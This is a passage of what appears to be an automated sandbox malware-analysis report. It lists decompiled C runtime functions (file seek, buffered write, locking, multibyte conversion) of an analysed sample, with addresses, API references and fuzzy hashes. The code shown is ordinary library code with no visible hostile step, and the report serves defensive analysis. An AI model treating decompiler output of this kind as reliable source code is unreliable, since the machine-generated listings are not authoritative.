														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 048DBD11 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 048DBDD5
__fileno.LIBCMT ref: 048DBDF5
__locking.LIBCMT ref: 048DBDFC
__flsbuf.LIBCMT ref: 048DBE27

Part of subcall function 048DC228: __getptd_noexit.LIBCMT ref: 048DC228

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 1291973410-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 35c0d529778854d89f3d82bb58940ed25d48fb36d710f366feeb8201ac20a80b
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: 9E41E771E02608EFDB249F69C8805AEB7B6EF80324F268F29D556DB140E770FA50CB40

Uniqueness

Uniqueness Score: -1.00%

Function 048D5F67 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 048D5FBB
_memset.LIBCMT ref: 048D5FD6
_fseek.LIBCMT ref: 048D6044

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: e52d1cbea1682f3a8b65b9e1311521a16fbd315fb085589ed4eb6de494d0f510
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3E41E472602B149AE730AA2DA90071773E5AF80364F144F1EE9A6F6BD0F771F845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 048E5506 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 048E553A
__isleadbyte_l.LIBCMT ref: 048E556E
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 048E559F
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 048E560D

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 338fd3a7a68e0e034b15ecd10794f36c951d4ee0c1d4ea084d67331ce4ed9d8e
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 38319331A10345FFDB20DFA5C8849BE7BB6EF02319F144A69E465CB1A1E730E940DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
